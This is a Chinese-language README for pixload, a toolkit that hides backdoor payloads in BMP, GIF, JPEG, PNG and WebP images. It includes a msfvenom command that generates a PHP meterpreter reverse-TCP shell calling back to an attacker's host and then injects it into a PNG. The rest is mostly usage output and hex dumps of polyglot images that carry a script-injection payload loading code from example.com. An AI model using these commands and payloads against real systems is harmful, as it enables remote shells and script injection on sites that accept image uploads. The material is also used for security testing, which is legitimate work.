
用于 隐藏后门 创建/注入载荷到图像中的工具集。
当前支持以下图像类型:BMP, GIF, JPG, PNG, WebP。
更深入理解 pixload 及其使用场景的参考资料:
如果你想将载荷编码为既是有效的x86 shellcode又是有效的图像文件,建议你查阅 这里 和 这里。
如果你想注入一个metasploit载荷,操作如下:
$ msfvenom -p php/meterpreter_reverse_tcp \
LHOST=192.168.0.1 LPORT=31337 -f raw 2>/dev/null > payload.php
如有需要,编辑 payload.php。
将 payload.php 注入到图像中(例如png)。
$ pixload-png --payload "$(cat payload.php)" payload.png
需要以下Perl模块:
GD
Image::ExifTool
String::CRC32
在 基于Debian 的系统上安装这些包:
sudo apt install libgd-perl libimage-exiftool-perl libstring-crc32-perl
在 FreeBSD 和 DragonFlyBSD 上安装这些包:
doas pkg install p5-GD p5-Image-ExifTool p5-String-CRC32
在 OSX 上请参考 此解决方法
(感谢 @iosdec)。
make install
docker build -t pixload .
docker run -v "$(pwd):/pixload" -it --rm pixload
$ pixload-bmp --help
Usage: pixload-bmp [OPTION]... FILE
在BMP图像中隐藏载荷/恶意代码。
对长选项的命令行参数同样适用于短选项。
-P, --payload STRING 设置要注入的载荷
-v, --version 打印版本信息并退出
-h, --help 打印帮助信息并退出
如果输出文件FILE已存在,则载荷将注入此现有文件。否则,将创建一个新文件。
$ pixload-bmp payload.bmp
...... BMP 载荷创建/注入器 ......
..........................................
... https://github.com/sighook/pixload ...
..........................................
[>] 正在生成输出文件
[✔] 文件已保存至: payload.bmp
[>] 正在向 payload.bmp 注入载荷
[✔] 载荷注入成功
payload.bmp: PC bitmap, OS/2 1.x format, 1 x 1 x 24, cbSize 10799, bits offset 26
00000000 42 4d 2f 2a 00 00 00 00 00 00 1a 00 00 00 0c 00 |BM/*............|
00000010 00 00 01 00 01 00 01 00 18 00 00 00 ff 00 2a 2f |..............*/|
00000020 3d 31 3b 3c 73 63 72 69 70 74 20 73 72 63 3d 2f |=1;<script src=/|
00000030 2f 65 78 61 6d 70 6c 65 2e 63 6f 6d 3e 3c 2f 73 |/example.com></s|
00000040 63 72 69 70 74 3e 3b |cript>;|
00000047
更多信息请参阅 pixload-bmp(1) 手册页。
$ pixload-gif --help
Usage: pixload-gif [OPTION]... FILE
在GIF图像中隐藏载荷/恶意代码。
对长选项的命令行参数同样适用于短选项。
-W, --pixelwidth INTEGER (无效果)
设置新图像的像素宽度(默认: 10799)
-H, --pixelheight INTEGER 设置新图像的像素高度(默认: 32)
-P, --payload STRING 设置要注入的载荷
-v, --version 打印版本信息并退出
-h, --help 打印帮助信息并退出
-W, --pixelwidth 选项无效,因为 pixload-gif 将像素宽度字节重写为 "/*" 字符,以准备多语言 gif 图像。
如果输出文件FILE已存在,则载荷将注入此现有文件。否则,将使用指定的像素宽度创建一个新文件。
$ pixload-gif payload.gif
...... GIF 载荷创建/注入器 ......
..........................................
... https://github.com/sighook/pixload ...
..........................................
[>] 正在生成输出文件
[✔] 文件已保存至: payload.gif
[>] 正在向 payload.gif 注入载荷
[✔] 载荷注入成功
payload.gif: GIF image data, version 87a, 10799 x 32
00000000 47 49 46 38 37 61 2f 2a 20 00 80 00 00 04 02 04 |GIF87a/* .......|
00000010 00 00 00 2c 00 00 00 00 20 00 20 00 00 02 1e 84 |...,.... . .....|
00000020 8f a9 cb ed 0f a3 9c b4 da 8b b3 de bc fb 0f 86 |................|
00000030 e2 48 96 e6 89 a6 ea ca b6 ee 0b 9b 05 00 3b 2a |.H............;*|
00000040 2f 3d 31 3b 3c 73 63 72 69 70 74 20 73 72 63 3d |/=1;<script src=|
00000050 2f 2f 65 78 61 6d 70 6c 65 2e 63 6f 6d 3e 3c 2f |//example.com></|
00000060 73 63 72 69 70 74 3e 3b |script>;|
00000068
更多信息请参阅 pixload-gif(1) 手册页。
$ pixload-jpg --help
Usage: pixload-jpg [OPTION]... FILE
在JPEG图像中隐藏载荷/恶意代码。
对长选项的命令行参数同样适用于短选项。
-S, --section COM|DQT 设置用于注入载荷的段
-P, --payload STRING 设置要注入的载荷
-v, --version 打印版本信息并退出
-h, --help 打印帮助信息并退出
如果输出文件FILE已存在,则载荷将注入此现有文件。否则,将创建一个新文件。
$ pixload-jpg -S com payload.jpg
..... JPEG 载荷创建/注入器 ......
..........................................
... https://github.com/sighook/pixload ...
..........................................
[>] 正在生成输出文件
[✔] 文件已保存至: payload.jpg
[>] 正在向 COMMENT 段注入载荷
[✔] 载荷注入成功
payload.jpg: JPEG image data, progressive, precision 8, 1x1, components 1
00000000 ff d8 ff fe 00 25 3c 73 63 72 69 70 74 20 73 72 |.....%<script sr|
00000010 63 3d 2f 2f 65 78 61 6d 70 6c 65 2e 63 6f 6d 3e |c=//example.com>|
00000020 3c 2f 73 63 72 69 70 74 3e ff db 00 43 00 01 01 |</script>...C...|
00000030 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 |................|
*
00000060 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ff c2 |................|
00000070 00 0b 08 00 01 00 01 01 01 11 00 ff c4 00 14 00 |................|
00000080 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000090 03 ff da 00 08 01 01 00 00 00 01 3f ff d9 |...........?..|
0000009e
$ pixload-jpg -S dqt payload.jpg
..... JPEG 载荷创建/注入器 ......
..........................................
... https://github.com/sighook/pixload ...
..........................................
[>] 正在生成输出文件
[✔] 文件已保存至: payload.jpg
[>] 正在向 DQT 表注入载荷
[✔] 载荷注入成功
payload.jpg: JPEG image data, progressive, precision 8, 1x1, components 1
00000000 ff d8 ff db 00 43 00 01 01 01 01 01 01 01 01 01 |.....C..........|
00000010 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 |................|
00000020 01 01 01 01 3c 73 63 72 69 70 74 20 73 72 63 3d |....<script src=|
00000030 2f 2f 65 78 61 6d 70 6c 65 2e 63 6f 6d 3e 3c 2f |//example.com></|
00000040 73 63 72 69 70 74 3e ff c2 00 0b 08 00 01 00 01 |script>.........|
00000050 01 01 11 00 ff c4 00 14 00 01 00 00 00 00 00 00 |................|
00000060 00 00 00 00 00 00 00 00 00 03 ff da 00 08 01 01 |................|
00000070 00 00 00 01 3f ff d9 01 01 11 00 ff c4 00 14 00 |....?...........|
00000080 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000090 03 ff da 00 08 01 01 00 00 00 01 3f ff d9 |...........?..|
0000009e
更多信息请参阅 pixload-jpg(1)。
$ pixload-png --help
Usage: pixload-png [OPTION]... FILE
在PNG图像中隐藏载荷/恶意代码。
对长选项的命令行参数同样适用于短选项。
-W, --pixelwidth INTEGER 设置新图像的像素宽度(默认: 32)
-H, --pixelheight INTEGER 设置新图像的像素高度(默认: 32)
-P, --payload STRING 设置要注入的载荷
-v, --version 打印版本信息并退出
-h, --help 打印帮助信息并退出
如果输出文件FILE已存在,则载荷将注入此现有文件。否则,将使用指定的像素尺寸创建一个新文件。
$ pixload-png payload.png
...... PNG 载荷创建/注入器 ......
..........................................
... https://github.com/sighook/pixload ...
..........................................
[>] 正在生成输出文件
[✔] 文件已保存至: payload.png
[>] 正在向 payload.png 注入载荷
[+] 块大小: 13
[+] 块类型: IHDR
[+] CRC: fc18eda3
[+] 块大小: 9
[+] 块类型: pHYs
[+] CRC: 952b0e1b
[+] 块大小: 25
[+] 块类型: IDAT
[+] CRC: c8a288fe
[+] 块大小: 0
[+] 块类型: IEND
[>] 将载荷注入新块: 'pUnk'
[✔] 载荷注入成功